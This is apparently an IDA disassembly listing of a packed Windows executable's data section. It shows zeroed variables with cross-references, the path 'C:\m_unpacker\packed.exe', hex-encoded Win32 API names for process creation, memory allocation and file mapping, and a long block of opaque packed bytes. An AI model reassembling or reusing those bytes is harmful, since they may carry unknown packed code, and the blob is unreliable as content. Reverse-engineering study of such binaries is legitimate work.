dword_43A414 dd 0 ; DATA XREF: sub_4089F2+AB0w
; sub_4089F2+AB7r ...
dword_43A418 dd 0 ; DATA XREF: sub_401447+2Er
; sub_401BD6+55r ...
dword_43A41C dd 0 ; DATA XREF: sub_407D86+88r
; sub_4089F2+674w ...
dword_43A420 dd 0 ; DATA XREF: sub_404F08+71r
; sub_4089F2+BC5w ...
dword_43A424 dd 0 ; DATA XREF: sub_4024DC+28Dr
; sub_406C3E+250r ...
dword_43A428 dd 0 ; DATA XREF: sub_4089F2+993w
; sub_4089F2+A00r ...
dword_43A42C dd 0 ; DATA XREF: sub_405B23+13Ar
; sub_407BFE+B3r ...
dword_43A430 dd 0 ; DATA XREF: sub_4010B2+324r
; sub_401447+2F0r ...
dword_43A434 dd 0 ; DATA XREF: sub_405B23+B7r
; sub_405B23+39Fr ...
dword_43A438 dd 0 ; DATA XREF: sub_402FDD+B0r
; sub_402FDD+C8r ...
dword_43A43C dd 0 ; DATA XREF: sub_4010B2+4Fr
; sub_4018CA+4Fr ...
dword_43A440 dd 0 ; DATA XREF: sub_4089F2+AFAw
; sub_4089F2+B1Br
dword_43A444 dd 0 ; DATA XREF: sub_4089F2+31w
; sub_4089F2+ADr ...
dword_43A448 dd 0 ; DATA XREF: sub_4089F2+17Fw
; sub_4089F2+1CAr
align 10h
dword_43A450 dd 0 ; DATA XREF: sub_4089F2+909w
; sub_4089F2+91Dr ...
dword_43A454 dd 0 ; DATA XREF: sub_4089F2+99w
; sub_4089F2+EAr ...
dword_43A458 dd 0 ; DATA XREF: sub_4089F2:loc_408AF0w
; sub_4089F2+12Bw ...
dword_43A45C dd 0 ; DATA XREF: sub_4089F2+126w
; sub_40967F+1Cr
dword_43A460 dd 0 ; DATA XREF: sub_4089F2:loc_408BE0w
; sub_4089F2:loc_408C47w ...
dword_43A464 dd 0 ; DATA XREF: sub_4089F2+250w
; sub_40967F+50r
dword_43A468 dd 0 ; DATA XREF: sub_4089F2:loc_408CDCw
; sub_4089F2:loc_408D21w ...
dword_43A46C dd 0 ; DATA XREF: sub_4089F2+400w
; sub_40967F+84r
dword_43A470 dd 0 ; DATA XREF: sub_4089F2:loc_408ED8w
; sub_40967F:loc_40972Fr
dword_43A474 dd 0 ; DATA XREF: sub_4089F2+4E1w
; sub_40967F+B8r
dword_43A478 dd 0 ; DATA XREF: sub_4089F2:loc_4091A9w
; sub_40967F:loc_409763r
dword_43A47C dd 0 ; DATA XREF: sub_4089F2+7B2w
; sub_40967F+ECr
dword_43A480 dd 0 ; DATA XREF: sub_4089F2:loc_409294w
; sub_4089F2+8D1w ...
dword_43A484 dd 0 ; DATA XREF: sub_4089F2+8CCw
; sub_40967F+120r
dword_43A488 dd 0 ; DATA XREF: sub_4089F2:loc_409328w
; sub_40967F:loc_4097CBr ...
dword_43A48C dd 0 ; DATA XREF: sub_4089F2+931w
; sub_40967F+154r
dword_43A490 dd 0 ; DATA XREF: sub_4089F2:loc_409433w
; sub_40967F:loc_4097FFr ...
dword_43A494 dd 0 ; DATA XREF: sub_4089F2+A3Cw
; sub_40967F+188r
dword_43A498 dd 0 ; DATA XREF: sub_4089F2:loc_40947Dw
; sub_40967F:loc_409833r
dword_43A49C dd 0 ; DATA XREF: sub_4089F2+A86w
; sub_40967F+1BCr
dword_43A4A0 dd 0 ; DATA XREF: sub_4089F2:loc_4094C7w
; sub_40967F:loc_409867r
dword_43A4A4 dd 0 ; DATA XREF: sub_4089F2+AD0w
; sub_40967F+1F0r
dword_43A4A8 dd 0 ; DATA XREF: sub_4089F2:loc_40953Bw
; sub_40967F:loc_40989Br
dword_43A4AC dd 0 ; DATA XREF: sub_4089F2+B44w
; sub_40967F+224r
dword_43A4B0 dd 0 ; DATA XREF: sub_4089F2:loc_409585w
; sub_40967F:loc_4098CFr
dword_43A4B4 dd 0 ; DATA XREF: sub_4089F2+B8Ew
; sub_40967F+258r
dword_43A4B8 dd 0 ; DATA XREF: sub_4089F2:loc_409623w
; sub_40967F:loc_409903r
dword_43A4BC dd 0 ; DATA XREF: sub_4089F2+C2Cw
; sub_40967F+28Cr
dword_43A4C0 dd 0 ; DATA XREF: sub_4089F2:loc_40966Dw
; sub_40967F:loc_409937r
dword_43A4C4 dd 0 ; DATA XREF: sub_4089F2+C76w
; sub_40967F+2C0r
dword_43A4C8 dd 81h dup(0) ; DATA XREF: sub_409C08+6Ao
dword_43A6CC dd 5 dup(0) ; DATA XREF: sub_40A171+32o
dword_43A6E0 dd 0 ; DATA XREF: sub_40A5B9:loc_40A5DAr
; sub_40A6A8+54r ...
dword_43A6E4 dd 0 ; DATA XREF: sub_40A5B9r
; sub_40A6A8+37r ...
dword_43A6E8 dd 0 ; DATA XREF: sub_40A5E9+1Ar
; sub_40A7FD+83o
dword_43A6EC dd 0 ; DATA XREF: sub_40A5B9:loc_40A5CDr
; sub_40A7FD+11Bw
dword_43A6F0 dd 0Dh dup(0) ; DATA XREF: sub_40A6A8+13o
; sub_40A7FD:loc_40A93Ao
dword_43A724 dd 0 ; DATA XREF: sub_40A6A8+CDr
; sub_40A6A8+ECr ...
dd 0
dword_43A72C dd 0Eh dup(0) ; DATA XREF: sub_40A9B2+47o
dword_43A764 dd 1000h dup(0) ; DATA XREF: sub_40B16D+1Do
; sub_40B20Do ...
dword_43E764 dd 0 ; DATA XREF: sub_40B16D+13o
; sub_40B20D+Eo ...
dword_43E768 dd 0Eh dup(0) ; DATA XREF: sub_40C218+Fo
dword_43E7A0 dd 2 dup(0) ; DATA XREF: sub_40C59A+C8o
dword_43E7A8 dd 0 ; DATA XREF: sub_40B075+Ao
; sub_40B075+44r ...
dd 5 dup(0)
dword_43E7C0 dd 0 ; DATA XREF: sub_40B075+60r
; sub_40CE55+BC8r
dd 2D9h dup(0)
dword_43F328 dd 0 ; DATA XREF: sub_40778B+A5r
; sub_40B075+2Do ...
dd 7Fh dup(0)
dword_43F528 dd 0 ; DATA XREF: sub_414F93+41w
; sub_4150CE+40w ...
dword_43F52C dd 0 ; DATA XREF: sub_406100+234w
; sub_40778B:loc_4077D2r ...
dword_43F530 dd 0 ; DATA XREF: sub_40A7FD+164w
; sub_414F93+52w ...
dword_43F534 dd 0 ; DATA XREF: sub_4024DC+E0w
; sub_405B23+7Ew ...
dword_43F538 dd 0 ; DATA XREF: sub_407D86+11Ew
; sub_407F6D+53r ...
dword_43F53C dd 0 ; DATA XREF: sub_406100+261w
; sub_407276+122w ...
byte_43F540 db 0 ; DATA XREF: sub_40CB75+91o
; sub_40CE55+322Br ...
align 4
dd 1883h dup(0)
dword_445750 dd 3A2Ch dup(0) ; DATA XREF: .nsp0:off_426918o
dword_454000 dd 5206h dup(0) ; DATA XREF: start-2DC9o
dword_468818 dd 0 ; DATA XREF: sub_407135:loc_4071A3r
; sub_40C682+47w ...
align 10h
dword_468820 dd 0 ; DATA XREF: sub_40C682:loc_40CA87o
dword_468824 dd 20h dup(0) ; DATA XREF: sub_40C682+39Do
; sub_40C682+456o ...
dword_4688A4 dd 10h dup(0) ; DATA XREF: sub_40C682+3B4o
; sub_40CE55+91Do
dword_4688E4 dd 24h dup(0) ; DATA XREF: sub_40C682+3CBo
dword_468974 dd 0 ; DATA XREF: sub_40C682+3BFw
; sub_40C682+46Dw ...
dword_468978 dd 0 ; DATA XREF: sub_40C682+3DEw
dd 3 dup(0)
dword_468988 dd 0 ; DATA XREF: sub_40C682+147r
dword_46898C dd 0 ; DATA XREF: sub_40CB75+72r
; sub_40CE55+276r
byte_468990 db 0 ; DATA XREF: sub_40CCDD+28r
; sub_40CCDD+30o
align 4
dword_468994 dd 0 ; DATA XREF: sub_40283D+9Fo
dword_468998 dd 0 ; DATA XREF: sub_40C682+40Aw
; sub_40C682+421r ...
dword_46899C dd 0 ; DATA XREF: sub_40C682+3A2w
; sub_40CE55+8C1r
dword_4689A0 dd 17h dup(0) ; DATA XREF: sub_412F10:loc_41302Do
; sub_412F10+131o ...
dword_4689FC dd 7 dup(0) ; DATA XREF: sub_413CA9+7Co
; sub_413CA9+A5o
dword_468A18 dd 0 ; DATA XREF: sub_4151DB+16o
; sub_4151FA+19o
dword_468A1C dd 78h dup(0) ; DATA XREF: sub_41518E+3Do
dword_468BFC dd 0 ; DATA XREF: sub_41328A+45w
; sub_41328A+4Dr ...
dword_468C00 dd 17h dup(0) ; DATA XREF: sub_413B75:loc_413C97o
; sub_413B75+12Do
dword_468C5C dd 80h dup(0) ; DATA XREF: sub_4131CB+4Bo
; sub_4131CB+7Do ...
byte_468E5C db 0 ; DATA XREF: sub_41328A+29r
; sub_41328A+34w
align 10h
dword_468E60 dd 80h dup(0) ; DATA XREF: sub_4134E1+61o
; sub_4134E1+88o ...
dword_469060 dd 81h dup(0) ; DATA XREF: sub_412DE7+33o
; sub_412DE7+50o ...
dword_469264 dd 81h dup(0) ; DATA XREF: sub_41449C+8Do
byte_469468 db 0 ; DATA XREF: sub_414E8C+6Ar
; sub_414E8C+98w
align 4
dd 2 dup(0)
dword_469474 dd 0 ; DATA XREF: sub_415F3B+Aw
dword_469478 dd 0 ; DATA XREF: sub_416AD4+5Er
; sub_416AD4+A4w
align 10h
word_469480 dw 0 ; DATA XREF: sub_416AD4+55r
; sub_416AD4+9Ao
word_469482 dw 0 ; DATA XREF: sub_416AD4+48r
db 2 dup(0)
word_469486 dw 0 ; DATA XREF: sub_416AD4+3Br
word_469488 dw 0 ; DATA XREF: sub_416AD4+2Er
word_46948A dw 0 ; DATA XREF: sub_416AD4+21r
align 10h
dword_469490 dd 0 ; DATA XREF: sub_416C98+3Br
; sub_416C98+91w
dword_469494 dd 0 ; DATA XREF: sub_416881+1B9w
; sub_416E3E:loc_416EBAw ...
dword_469498 dd 0 ; DATA XREF: sub_417709+35w
; sub_4185CB:loc_418665w ...
dword_46949C dd 0 ; DATA XREF: sub_41D55A+13Ar
dword_4694A0 dd 0A28h ; DATA XREF: sub_417AF8+52w
dword_4694A4 dd 501h ; DATA XREF: sub_417AF8+49w
dword_4694A8 dd 5 ; DATA XREF: sub_417AF8+3Ew
dword_4694AC dd 1 ; DATA XREF: sub_417AF8+30w
dword_4694B0 dd 1 ; DATA XREF: sub_40C682:loc_40C96Fr
; sub_41C8D3+91w
dword_4694B4 dd 490B00h ; DATA XREF: sub_40C682+2F6r
; sub_40C682+316r ...
dd 0
dword_4694BC dd 490A80h ; DATA XREF: sub_41C81A+44w
; sub_41F409+9r ...
dword_4694C0 dd 0 ; DATA XREF: sub_41FAC2+36r
dword_4694C4 dd 0 ; DATA XREF: sub_41F409+16r
; sub_41F7D7+4r ...
dd 0
off_4694CC dd offset aCM_unpackerPac ; DATA XREF: sub_41C8D3+2Ew
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_4694D4 db 0 ; DATA XREF: sub_417849+2Dw
; sub_41D17B+5r
align 4
dword_4694D8 dd 0 ; DATA XREF: sub_417849+27w
dword_4694DC dd 0 ; DATA XREF: sub_417849+4r
; sub_417849+8Bw
dword_4694E0 dd 0 ; DATA XREF: sub_417AF8+84w
; sub_41C81A:loc_41C82Cr ...
align 8
dword_4694E8 dd 0 ; DATA XREF: sub_417BEEr sub_417C13r ...
dword_4694EC dd 0 ; DATA XREF: sub_4187B6+37r
dd 0
dword_4694F4 dd 0 ; DATA XREF: sub_415DC9r
; sub_4174DF:loc_4175DBr ...
dword_4694F8 dd 0 ; DATA XREF: sub_418A68r
dword_4694FC dd 0 ; DATA XREF: sub_41A016+11r
; sub_41A11A+1Ar ...
byte_469500 db 0 ; DATA XREF: sub_41A016+3r
; sub_41A016+98r ...
align 4
dword_469504 dd 0 ; DATA XREF: sub_41A11A+11r
; sub_41A1F8+21w ...
byte_469508 db 0 ; DATA XREF: sub_41A1F8+51w
align 4
dword_46950C dd 0 ; DATA XREF: sub_41A3EE+4Er
; sub_41A7C9+3Ar ...
dword_469510 dd 0 ; DATA XREF: sub_41A3EE+5Cr
; sub_41A7C9+43r ...
dword_469514 dd 0 ; DATA XREF: sub_4161C2+7Ar
; sub_41A595+5r
dword_469518 dd 0 ; DATA XREF: sub_41AB9C+29r
dword_46951C dd 1 ; DATA XREF: sub_41BD71+28r
; sub_41BD71+4Cw ...
dd 2 dup(0)
dword_469528 dd 0 ; DATA XREF: sub_417193+4r
; sub_417193+9Dr ...
dd 3 dup(0)
dword_469538 dd 0 ; DATA XREF: sub_4179F9+61r
; sub_4179F9+BFr ...
align 10h
dword_469540 dd 1 ; DATA XREF: sub_41BFC0:loc_41C13Br
; sub_41C159+4w ...
dword_469544 dd 0 ; DATA XREF: sub_41C63E+3Ar
; sub_41C63E+46w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41C8D3:loc_41C8EAo
; .nsp0:off_4694CCo
align 4
dd 3Ah dup(0)
dword_46964C dd 1 ; DATA XREF: sub_41CB20+2r
; sub_41CB20+23w ...
dword_469650 dd 0 ; DATA XREF: sub_41CEE0+21r
dword_469654 dd 0 ; DATA XREF: sub_4187B6:loc_4187DFw
; sub_418880+154w ...
dword_469658 dd 1 ; DATA XREF: sub_41D1F7+26r
; sub_41D1F7:loc_41D261w
dword_46965C dd 0 ; DATA XREF: sub_418880+7r
word_469660 dw 0 ; DATA XREF: sub_41DDDF+1Ao
; sub_41DDDF+46r
byte_469662 db 0 ; DATA XREF: sub_41DDDF+39r
align 4
dword_469664 dd 7 dup(0) ; DATA XREF: sub_41DDDF+52o
dword_469680 dd 0 ; DATA XREF: sub_41DDDF+40w
; sub_41DDDF+5Co
dword_469684 dd 0 ; DATA XREF: sub_41DDDF+4Dw
dword_469688 dd 0 ; DATA XREF: sub_41DDDF+31w
dword_46968C dd 0 ; DATA XREF: sub_41DDDF+52w
dword_469690 dd 77C26E79h ; DATA XREF: sub_41DF02:loc_41DF25r
; sub_41DF02+38r ...
align 8
dword_469698 dd 0 ; DATA XREF: sub_41E162+11w
; sub_41E162+63w ...
align 10h
dword_4696A0 dd 0 ; DATA XREF: sub_41E162+33o
; sub_41E162+46r
dword_4696A4 dd 10h dup(0) ; DATA XREF: sub_41E162+C1o
word_4696E4 dw 0 ; DATA XREF: sub_41E3C0+A8r
word_4696E6 dw 0 ; DATA XREF: sub_41E162+54r
; sub_41E3C0+DBr ...
word_4696E8 dw 0 ; DATA XREF: sub_41E3C0+CAr
word_4696EA dw 0 ; DATA XREF: sub_41E3C0+D3r
; sub_41E3C0:loc_41E4B2r
word_4696EC dw 0 ; DATA XREF: sub_41E3C0+C0r
word_4696EE dw 0 ; DATA XREF: sub_41E3C0+B8r
word_4696F0 dw 0 ; DATA XREF: sub_41E3C0+B0r
word_4696F2 dw 0 ; DATA XREF: sub_41E3C0+9Er
dword_4696F4 dd 0 ; DATA XREF: sub_41E162+4Br
dword_4696F8 dd 10h dup(0) ; DATA XREF: sub_41E162+FBo
word_469738 dw 0 ; DATA XREF: sub_41E3C0+46r
word_46973A dw 0 ; DATA XREF: sub_41E162:loc_41E1D9r
; sub_41E3C0+78r ...
word_46973C dw 0 ; DATA XREF: sub_41E3C0+67r
word_46973E dw 0 ; DATA XREF: sub_41E3C0+70r
; sub_41E3C0:loc_41E444r
word_469740 dw 0 ; DATA XREF: sub_41E3C0+5Dr
word_469742 dw 0 ; DATA XREF: sub_41E3C0+55r
word_469744 dw 0 ; DATA XREF: sub_41E3C0+4Dr
word_469746 dw 0 ; DATA XREF: sub_41E3C0+3Er
dword_469748 dd 0 ; DATA XREF: sub_41E162+80r
dword_46974C dd 0 ; DATA XREF: sub_41E162+132r
; sub_41E162:loc_41E2AEr ...
dword_469750 dd 0 ; DATA XREF: sub_41E14Dr sub_41E14D+Ew
dword_469754 dd 0 ; DATA XREF: sub_41E6EE+3r
; sub_41E6EE+2Ew ...
dword_469758 dd 0 ; DATA XREF: sub_41E6EE+43w
; sub_41E6EE:loc_41E73Dr
dword_46975C dd 0 ; DATA XREF: sub_41E6EE+4Aw
; sub_41E6EE+60r
dword_469760 dd 0 ; DATA XREF: sub_41D55A+3Fr
dword_469764 dd 0 ; DATA XREF: sub_41F297:loc_41F2FEr
; sub_41F297+6Do
dword_469768 dd 0 ; DATA XREF: sub_41F297:loc_41F2D5r
; sub_41F297+44o
dword_46976C dd 0 ; DATA XREF: sub_41F297:loc_41F2C8r
; sub_41F297+37o
dword_469770 dd 0 ; DATA XREF: sub_41F297:loc_41F2E2r
; sub_41F297+51o
align 8
dword_469778 dd 0 ; DATA XREF: sub_41F845+28r
; sub_41F845+48w ...
byte_46977C db 1 ; DATA XREF: sub_404EE6r sub_404EE6+9w ...
align 10h
dword_469780 dd 344968h ; DATA XREF: sub_418749:loc_41875Ar
; sub_4189F0+14r ...
dd 7 dup(0)
dword_4697A0 dd 400h dup(0) ; DATA XREF: .nsp0:off_438468o
; .nsp0:00438470o
dword_46A7A0 dd 200h ; DATA XREF: sub_418749+9r
; sub_418749+56r ...
dd 7 dup(0)
dword_46A7C0 dd 490EF0h ; DATA XREF: sub_417C37+B1r
; sub_41B8B0+75r ...
dword_46A7C4 dd 3Fh dup(0) ; DATA XREF: sub_41CC52+92o
dword_46A8C0 dd 20h ; DATA XREF: sub_4185CB+8r
; sub_41B989+Cr ...
dword_46A8C4 dd 4E4h ; DATA XREF: sub_41BFC0+14r
; sub_41BFC0+65w ...
align 10h
dword_46A8D0 dd 3 dup(0) ; DATA XREF: sub_41BFC0+123o
; sub_41BFC0+171o ...
dword_46A8DC dd 0 ; DATA XREF: sub_41BFC0+108w
; sub_41BFC0+15Dw ...
byte_46A8E0 db 0 ; DATA XREF: sub_41C1FF:loc_41C30Bw
; sub_41C1FF:loc_41C328w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_46A9E0 db 0 ; DATA XREF: sub_41BFC0+5Co
; sub_41BFC0+AFo ...
byte_46A9E1 db 0 ; DATA XREF: sub_417348+5Dr
; sub_41BFC0+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_46AAE4 dd 0 ; DATA XREF: sub_41BFC0+6Ew
; sub_41BFC0+12Bw ...
dword_46AAE8 dd 10h ; DATA XREF: sub_418ABF+32w
; sub_41915C+5r ...
dword_46AAEC dd 0 ; DATA XREF: sub_418B28+239r
; sub_418B28+259r ...
dword_46AAF0 dd 340650h ; DATA XREF: sub_418ABF+2Dw
; sub_418B28+310w ...
dword_46AAF4 dd 0 ; DATA XREF: sub_418ABF:loc_418ADCw
; sub_418B28+22Cr ...
dword_46AAF8 dd 1 ; DATA XREF: sub_418ABF+24w
; sub_418AFDr ...
dword_46AAFC dd 340650h ; DATA XREF: sub_418ABF+15w
; sub_418AFD+8r ...
dword_46AB00 dd 340000h ; DATA XREF: sub_415E07+28r
; sub_415E3D+21r ...
dword_46AB04 dd 142340h ; DATA XREF: sub_417AF8+7Aw
; sub_41C7C2+Fr ...
dword_46AB08 dd 1 ; DATA XREF: sub_41C81A+ADw
; sub_41F409r
dword_46AB0C dd 1 ; DATA XREF: sub_41C384r
; sub_41C384+11w ...
dword_46AB10 dd 490E6Ch ; DATA XREF: sub_4167D3+13r
; sub_4167D3:loc_416815r ...
dword_46AB14 dd 490E60h ; DATA XREF: sub_4167D3+1r
; sub_4167D3+Cr ...
byte_46AB18 db 1 ; DATA XREF: sub_4200C4+15r
; sub_4200C4+1Ew
align 4
dd 139h dup(0)
dd 50h, 20000h, 74654701h, 74697845h, 65646F43h, 636F7250h
dd 737365h, 74655301h, 69766E45h, 6D6E6F72h, 56746E65h
dd 61697261h, 41656C62h, 6F430100h, 7261706Dh, 72745365h
dd 57676E69h, 6F430100h, 7261706Dh, 72745365h, 41676E69h
dd 65530100h, 646E4574h, 6946664Fh, 100656Ch, 61427349h
dd 646F4364h, 72745065h, 73490100h, 52646142h, 50646165h
dd 1007274h, 55746553h, 6E61686Eh, 64656C64h, 65637845h
dd 6F697470h, 6C69466Eh, 726574h, 756C4601h, 69466873h
dd 7542656Ch, 72656666h, 53010073h, 74537465h, 6E614864h
dd 656C64h, 74654701h, 69727453h, 7954676Eh, 576570h, 74654701h
dd 69727453h, 7954676Eh, 416570h, 74654701h, 656C6946h
dd 65707954h, 65470100h, 64745374h, 646E6148h, 100656Ch
dd 48746553h, 6C646E61h, 756F4365h, 100746Eh, 45746547h
dd 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h, 1005773h
dd 45746547h, 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h
dd 46010073h, 45656572h, 7269766Eh, 656D6E6Fh, 7453746Eh
dd 676E6972h, 1005773h, 74697845h, 65726854h, 1006461h
dd 54746547h, 436B6369h, 746E756Fh, 75510100h, 50797265h
dd 6F667265h, 6E616D72h, 6F436563h, 65746E75h, 51010072h
dd 79726575h, 66726550h, 616D726Fh, 4665636Eh, 75716572h
dd 79636E65h, 65470100h, 73795374h, 446D6574h, 63657269h
dd 79726F74h, 47010041h, 6F4C7465h, 546C6163h, 656D69h
dd 656C5301h, 1007065h, 746C754Dh, 74794269h, 576F5465h
dd 43656469h, 726168h, 61655201h, 6C694664h, 43010065h
dd 65736F6Ch, 646E6148h, 100656Ch, 74697257h, 6C694665h
dd 54010065h, 736E6172h, 4E746361h, 64656D61h, 65706950h
dd 72430100h, 65746165h, 656C6946h, 47010041h, 6F4D7465h
dd 656C7564h, 656C6946h, 656D614Eh, 47010041h, 69547465h
dd 6F46656Dh, 74616D72h, 47010041h, 61447465h, 6F466574h
dd 74616D72h, 47010041h, 614C7465h, 72457473h, 726F72h
dd 65724301h, 54657461h, 61657268h, 47010064h, 69467465h
dd 6953656Ch, 100657Ah, 46746547h, 41656C69h, 69727474h
dd 65747562h, 1004173h, 646E6946h, 736F6C43h, 46010065h
dd 54656C69h, 54656D69h, 7379536Fh, 546D6574h, 656D69h
dd 6C694601h, 6D695465h, 4C6F5465h, 6C61636Fh, 656C6946h
dd 656D6954h, 69460100h, 654E646Eh, 69467478h, 41656Ch
dd 6E694601h, 72694664h, 69467473h, 41656Ch, 74655301h
dd 656C6946h, 6E696F50h, 726574h, 61654C01h, 72436576h
dd 63697469h, 65536C61h, 6F697463h, 4501006Eh, 7265746Eh
dd 74697243h, 6C616369h, 74636553h, 6E6F69h, 696E4901h
dd 6C616974h, 43657A69h, 69746972h, 536C6163h, 69746365h
dd 6E416E6Fh, 69705364h, 756F436Eh, 100746Eh, 656C6544h
dd 72436574h, 63697469h, 65536C61h, 6F697463h, 4C01006Eh
dd 4C64616Fh, 61726269h, 417972h, 74654701h, 636F7250h
dd 72646441h, 737365h, 74654701h, 75646F4Dh, 6148656Ch
dd 656C646Eh, 46010041h, 616D726Fh, 73654D74h, 65676173h
dd 47010041h, 61626F6Ch, 6C6E556Ch, 6B636Fh, 6F6C4701h
dd 4C6C6162h, 6B636Fh, 6D6E5501h, 69567061h, 664F7765h
dd 656C6946h, 614D0100h, 65695670h, 46664F77h, 656C69h
dd 65724301h, 46657461h, 4D656C69h, 69707061h, 41676Eh
dd 74655301h, 656C6946h, 656D6954h, 65470100h, 6C694674h
dd 6D695465h, 43010065h, 74616572h, 6F725065h, 73736563h
dd 45010041h, 6E617078h, 766E4564h, 6E6F7269h, 746E656Dh
dd 69727453h, 4173676Eh, 65530100h, 6C694674h, 74744165h
dd 75626972h, 41736574h, 65470100h, 6D655474h, 74615070h
dd 1004168h, 6B656550h, 656D614Eh, 70695064h, 44010065h
dd 696C7075h, 65746163h, 646E6148h, 100656Ch, 43746547h
dd 65727275h, 7250746Eh, 7365636Fh, 43010073h, 74616572h
dd 70695065h, 47010065h, 65567465h, 6F697372h, 4178456Eh
dd 6C470100h, 6C61626Fh, 6F6D654Dh, 74537972h, 73757461h
dd 78450100h, 72507469h, 7365636Fh, 44010073h, 74656C65h
dd 6C694665h, 1004165h, 6E65704Fh, 636F7250h, 737365h
dd 74654701h, 72727543h, 50746E65h, 65636F72h, 64497373h
dd 6F430100h, 69467970h, 41656Ch, 69615701h, 726F4674h
dd 676E6953h, 624F656Ch, 7463656Ah, 72430100h, 65746165h
dd 6574754Dh, 1004178h, 6D726554h, 74616E69h, 72685465h
dd 646165h, 766F4D01h, 6C694665h, 1004165h, 65646957h
dd 72616843h, 754D6F54h, 4269746Ch, 657479h, 74654701h
dd 706D6F43h, 72657475h, 656D614Eh, 54010041h, 696D7265h
dd 6574616Eh, 636F7250h, 737365h, 74654701h, 61636F4Ch
dd 6E49656Ch, 416F66h, 74654701h, 69676F4Ch, 446C6163h
dd 65766972h, 48010073h, 41706165h, 636F6C6Ch, 65480100h
dd 72467061h, 1006565h, 556C7452h, 6E69776Eh, 47010064h
dd 69547465h, 6F5A656Dh, 6E49656Eh, 6D726F66h, 6F697461h
dd 4701006Eh, 79537465h, 6D657473h, 656D6954h, 65480100h
dd 65527061h, 6F6C6C41h, 47010063h, 74537465h, 75747261h
dd 666E4970h, 100416Fh, 43746547h, 616D6D6Fh, 694C646Eh
dd 41656Eh, 74654701h, 73726556h, 6E6F69h, 61654801h, 73654470h
dd 796F7274h, 65480100h, 72437061h, 65746165h, 69560100h
dd 61757472h, 6572466Ch, 56010065h, 75747269h, 6C416C61h
dd 636F6Ch, 42734901h, 72576461h, 50657469h, 1007274h
dd 73696152h, 63784565h, 69747065h, 1006E6Fh, 70616548h
dd 657A6953h, 434C0100h, 5370614Dh, 6E697274h, 1004167h
dd 614D434Ch, 72745370h, 57676E69h, 65470100h, 49504374h
dd 6F666Eh, 74654701h, 504341h, 74654701h, 434D454Fh, 55010050h
dd 6E61686Eh, 64656C64h, 65637845h, 6F697470h, 6C69466Eh
dd 726574h, 65724601h, 766E4565h, 6E6F7269h, 746E656Dh
dd 69727453h, 4173676Eh, 5D0000h, 1AC0000h, 74FF0002h
dd 73FF00h, 0FF0015FFh, 2FF000Ah, 0DFF00h, 0FF0001FFh
dd 16FF0034h, 12FF00h, 0FF0097FFh, 9FF000Bh, 17FF00h, 0FF0004FFh
dd 13FF0010h, 3FF00h, 0
dd 72D00h, 59072D00h, 3425D4ECh, 141B43A4h, 8CC78824h
dd 2C0DBC22h, 0ABC37408h, 0E747726Fh, 70044E83h, 6A3B7544h
dd 80921042h, 0B8CE236Dh, 0C756F198h, 516414CAh, 4E3109C4h
dd 0AC422DA6h, 34D746A0h, 61A10DC0h, 0AC4774CEh, 70A9037h
dd 961B553Bh, 5566DE30h, 9469F9B7h, 0A1B2C00h, 0D65DA084h
dd 0FC0C3EA3h, 0D8832241h, 2AC830Dh, 29271848h, 0B0AC459Ch
dd 6420EFE5h, 73E22996h, 8144AF52h, 55560066h, 82FB34Ah
dd 0F28ACC0h, 615200EBh, 9013793h, 73EF73B0h, 0C80C913Bh
dd 0AB1ED23Dh, 0C701DE03h, 0CB000B9Fh, 0FDC02BD8h, 4140C8h
dd 0C1CB6154h, 3B826B5Eh, 266C1341h, 1F78336h, 2F1373DBh
dd 65800213h, 42110433h, 96E05B6Fh, 8605FA4Bh, 45698E13h
dd 0BF02343Ch, 5D7C5F43h, 0F3ED4003h, 0B33BB05h, 0FAAAB064h
dd 5B355D8Bh, 8A575D4Dh, 4D290000h, 0AAB0A188h, 55965357h
dd 9CFD9055h, 230F048h, 0D7766064h, 0D8335D34h, 50540758h
dd 0B0484C03h, 44DCB073h, 2B245C3Ah, 0F0244307h, 0E7409B9Ah
dd 0AA0D4B07h, 7F119568h, 40D00198h, 8660E9ACh, 66040CD6h
dd 269C43C3h, 963F429Dh, 0C0245270h, 7E7FFE26h, 4B3176CDh
dd 27536A36h, 481D9B49h, 34E87B80h, 99203977h, 6873732Ah
dd 9C0A1455h, 4AA55518h, 7828296Fh, 71EB5874h, 0E07A9343h
dd 319D0209h, 0AA818600h, 64800324h, 0E13B2C35h, 0CD9C2052h
dd 8B535943h, 0A32D82C8h, 634F51AEh, 10945424h, 36428A6Bh
dd 52F0FB00h, 0EF058E61h, 20812A34h, 92A36459h, 446CD882h
dd 0E8C6C2Ah, 87D15192h, 0A8385Bh, 4572749h, 0DB03D35Fh
dd 700BC63h, 40B87024h, 0F73E2F18h, 0C3080184h, 679E7B4h
dd 3359B160h, 4A05337Bh, 726B300Eh, 455A3003h, 15816DD0h
dd 0EC370448h, 46002CC8h, 55E4F6Dh, 0F5DB5613h, 100B0E32h
dd 0F012FC17h, 0A4B1015Fh, 5EB02EBh, 37DBFE8h, 315BA550h
dd 6B966C9h, 0FF0E7380h, 4DD3A243h, 17F9E2D8h, 0B00C15B1h
dd 236FE028h, 400364C0h, 6B0C7830h, 7DBEDF77h, 9EB0840h
dd 408D3404h, 8B3C057Ch, 0CA0403D0h, 44454803h, 8B78D0BFh
